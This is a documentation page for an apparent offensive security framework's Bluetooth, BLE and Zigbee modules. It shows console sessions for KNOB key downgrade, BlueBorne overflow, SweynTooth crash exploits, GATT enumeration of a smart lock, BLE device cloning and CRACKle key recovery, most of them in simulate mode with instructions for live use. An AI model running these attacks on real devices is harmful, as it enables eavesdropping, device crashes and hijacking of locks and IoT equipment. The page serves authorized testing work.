Bluetooth BLE

Bluetooth & BLE

Classic Bluetooth, BLE (Bluetooth Low Energy), SweynTooth, KNOB, BlueBorne, and related attack modules.

---

Module Reference

Module	Description
bluetooth/bt_hid_injection	Bluetooth HID keyboard injection (Broadcom fallback)
bluetooth/bt_baseband_attack	BrakTooth / SweynTooth via ESP32 serial
bluetooth/bt_session_attack	KNOB, BIAS, BLUFFS session-layer attacks
bluetooth/blueborne_attack	BlueBorne L2CAP overflow (kernel offset profiles)
bluetooth/ble_btlejack	BTLEJack BLE sniff/jam/hijack
bluetooth/ble_crackle	BLE Legacy Pairing key recovery
bluetooth/knob_native_cve_2019_9506	CVE-2019-9506 - BT BR/EDR key entropy downgrade to 1 byte
bluetooth/zigbee_touchlink_factory_reset	Zigbee ZLL Touchlink Factory Reset (Hue, TRADFRI)
bluetooth/zigbee_network_key_extract	Zigbee Network Key extraction via Transport Key
bluetooth/zigbee_rejoin_hijack	Zigbee Rejoin Hijack: beacon spoof + desassociation
bluetooth/ble_gatt_enum_unauth	BLE GATT enumeration without authentication
bluetooth/ble_spoofing_impersonation	BLE device cloning via advertising data replay
bluetooth/sweyntooth/sweyntooth_scanner	Passive BLE scanner for SweynTooth-vulnerable firmware
bluetooth/sweyntooth/sweyntooth_cve_2019_16336	CVE-2019-16336 - BLE Link Layer length overflow
bluetooth/sweyntooth/sweyntooth_cve_2019_17517	CVE-2019-17517 - BLE data channel PDU overflow
bluetooth/sweyntooth/sweyntooth_cve_2019_17519	CVE-2019-17519 - BLE slave connection reject bypass
bluetooth/sweyntooth/sweyntooth_cve_2019_17520	CVE-2019-17520 - BLE public key crash on pairing

---

KNOB - CVE-2019-9506

Impact: KNOB (Key Negotiation of Bluetooth) allows an attacker to downgrade the Bluetooth key entropy to 1 byte (from up to 16 bytes), then brute-force the session key in real time to decrypt all BR/EDR traffic.

wxf > use generic/bluetooth/knob_native_cve_2019_9506
wxf (KNOBAttack) > show info

  Name:   KNOB - Key Negotiation of Bluetooth
  CVE:    CVE-2019-9506
  CVSS:   8.1 (High)
  Target: All Bluetooth BR/EDR devices (Classic BT)
  Auth:   None required - attacker just needs to be in range during pairing

  Description:
    The Bluetooth spec allows devices to negotiate encryption key size (1-16 bytes).
    An attacker in range can force both devices to use 1-byte entropy key
    by intercepting and modifying the LMP_Encryption_Key_Size_Request.
    A 1-byte key has only 256 possibilities, brute-forceable in real time.

wxf (KNOBAttack) > set TARGET_MAC AA:BB:CC:DD:EE:FF
wxf (KNOBAttack) > set SIMULATE true
wxf (KNOBAttack) > run

[SIMULATE] CVE-2019-9506: KNOB attack
[SIMULATE] Target: AA:BB:CC:DD:EE:FF
[SIMULATE] Waiting for pairing/connection initiation...
[SIMULATE] LMP_Encryption_Key_Size_Request intercepted
[SIMULATE] Downgrading negotiated key size: 16 -> 1 byte
[SIMULATE] Both devices accept 1-byte key (no verification)
[SIMULATE] Brute-force window: 256 keys (trivial in real time)
[SIMULATE] Traffic decryptable once key found
[!] Set SIMULATE=false to run
[!] PREREQ: Bluetooth sniffing hardware (Ubertooth, nRF sniffer) + BlueZ

---

BlueBorne - L2CAP Overflow

wxf > use generic/bluetooth/blueborne_attack
wxf (BlueBorne) > show info

  Name:   BlueBorne L2CAP Stack Overflow
  CVEs:   CVE-2017-0781 (Android), CVE-2017-0782 (Android), CVE-2017-1000251 (Linux)
  CVSS:   8.8 (High)
  Target: Linux kernels <= 4.13.1 (unpatched); Android <= 8.0 (unpatched)
  Auth:   None - no pairing required

  Description:
    The BlueBorne vulnerabilities allow RCE and information disclosure over Bluetooth
    without any user interaction or pairing. The L2CAP stack overflows when processing
    malformed connection request packets.

wxf (BlueBorne) > set TARGET_MAC 11:22:33:44:55:66
wxf (BlueBorne) > set SIMULATE true
wxf (BlueBorne) > run

[SIMULATE] BlueBorne L2CAP overflow
[SIMULATE] Target: 11:22:33:44:55:66
[SIMULATE] Checking kernel offset profiles (Linux 4.x) or Android SDK version...
[SIMULATE] Sending crafted L2CAP connection request with overflow trigger
[SIMULATE] Expected: target kernel stack smash, potential code execution
[!] Set SIMULATE=false to run
[!] PREREQ: BlueZ + proximity to unpatched target
[!] NOTE: Virtually all devices patched by 2018 via OS updates

---

SweynTooth

SweynTooth is a family of BLE vulnerabilities affecting 12 major SoC vendors. They allow unauthenticated crashes, deadlocks, or bypasses of security modes on IoT devices using vulnerable BLE stacks.

Scanner

wxf > use generic/bluetooth/sweyntooth/sweyntooth_scanner
wxf (SweynToothScanner) > set INTERFACE hci0
wxf (SweynToothScanner) > run

[*] Passive BLE scan for SweynTooth-vulnerable devices...
[*] Scanning... (press Ctrl+C to stop)
[+] AA:BB:CC:DD:EE:FF | Name: "SmartLock Pro" | TX: -45 dBm
    Adv data: flags=0x06, complete name, GATT services
    Firmware signature: TI CC2640 (SweynTooth affected)
    CVEs: CVE-2019-16336, CVE-2019-17517 (likely)
[+] 11:22:33:44:55:66 | Name: "ThermoSense" | TX: -62 dBm
    Firmware signature: Microchip BM70 (SweynTooth affected)
    CVEs: CVE-2019-17517 (likely)
[*] Scan results: 2 potentially vulnerable devices

CVE-2019-16336 - TI Link Layer Length Overflow

wxf > use generic/bluetooth/sweyntooth/sweyntooth_cve_2019_16336
wxf (SweynTooth-16336) > show info

  Name:   SweynTooth BLE Link Layer Length Overflow
  CVE:    CVE-2019-16336
  Vendor: Texas Instruments (CC2640, CC2641, CC2642, CC2650, CC2651, CC2652)
  Type:   DoS / potential RCE
  Auth:   None

  Description:
    A malformed LLID=0x03 (Control PDU) with an oversized L_Length field
    overflows the Link Layer of TI BLE chips, causing a firmware crash/reset.
    Affected chips are used in smart home devices, medical wearables, and industrial IoT.

wxf (SweynTooth-16336) > set TARGET_MAC AA:BB:CC:DD:EE:FF
wxf (SweynTooth-16336) > set SIMULATE true
wxf (SweynTooth-16336) > run

[SIMULATE] CVE-2019-16336: TI BLE Link Layer overflow
[SIMULATE] Connecting to AA:BB:CC:DD:EE:FF...
[SIMULATE] Connected. Sending malformed LL Control PDU (LLID=03, L_Length=0xFF)
[SIMULATE] Expected: target BLE firmware crashes, device reboots
[!] Set SIMULATE=false to run
[!] PREREQ: BlueZ hci0 + proximity to target

---

BLE GATT Enumeration

wxf > use generic/bluetooth/ble_gatt_enum_unauth
wxf (BLEGATTEnum) > set TARGET_MAC AA:BB:CC:DD:EE:FF
wxf (BLEGATTEnum) > run

[*] Connecting to AA:BB:CC:DD:EE:FF (SmartLock Pro)...
[*] Connected. Enumerating GATT services...
[+] Service: 0x1800 (Generic Access)
    Char: 0x2A00 (Device Name) READ -> "SmartLock Pro"
    Char: 0x2A01 (Appearance) READ -> 0x0180 (Generic Lock)
[+] Service: 0x1801 (Generic Attribute)
    Char: 0x2A05 (Service Changed) INDICATE
[+] Service: 0xFFF0 (Vendor Custom)
    Char: 0xFFF1 READ/WRITE NO AUTH -> [unknown payload]
    Char: 0xFFF2 NOTIFY NO AUTH -> [status notifications]
    Char: 0xFFF3 WRITE NO AUTH -> [command channel - no auth!]
[!] FINDING: Write characteristic 0xFFF3 accepts commands without authentication
[!] Try: use generic/bluetooth/bt_hid_injection or examine further
[*] Enumeration complete: 3 services, 8 characteristics

---

BLE Device Cloning

wxf > use generic/bluetooth/ble_spoofing_impersonation
wxf (BLESpoofing) > set TARGET_MAC AA:BB:CC:DD:EE:FF
wxf (BLESpoofing) > set CAPTURE_DURATION 10
wxf (BLESpoofing) > run

[*] Capturing BLE advertising data from AA:BB:CC:DD:EE:FF for 10s...
[+] Captured:
    Adv type: ADV_IND (connectable undirected)
    MAC: AA:BB:CC:DD:EE:FF (public)
    Name: "SmartLock Pro"
    Services: 0xFFF0
    Manufacturer data: 0x004C0215 [iBeacon-like]
[+] Clone profile saved

[*] Starting BLE advertisement clone...
[*] Broadcasting as: SmartLock Pro (MAC: AA:BB:CC:DD:EE:FF, spoofed)
[*] Any scanning device will see a copy of the original advertisement
[!] Apps that auto-connect by name/UUID may connect to clone
[!] Ctrl+C to stop

---

BLE Legacy Pairing Key Recovery (CRACKle)

wxf > use generic/bluetooth/ble_crackle
wxf (BLECrackle) > set CAPTURE_FILE /tmp/ble_pairing.pcap
wxf (BLECrackle) > run

[*] Analyzing BLE Legacy Pairing capture: /tmp/ble_pairing.pcap
[*] Looking for TK exchange in JustWorks or Passkey Entry mode...
[+] JustWorks pairing detected! TK = 0x00000000 (always zero in JustWorks)
[+] Computing LTK from captured pairing frames...
[+] LTK: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
[+] Decrypting subsequent encrypted BLE traffic with LTK...
[+] Decrypted payload sample: GATT Write 0xFFF3 -> 00 01 02 03 (door unlock?)
[*] CRACKle attack successful. All past/future sessions with same LTK decrypted.
[!] Applies to BLE 4.0 Legacy Pairing JustWorks only (not Secure Connections)

---

Related pages: Hardware | Wi-Fi Attacks | Configuration

---

Author: Andre Henrique (@mrhenrike) | Uniao Geek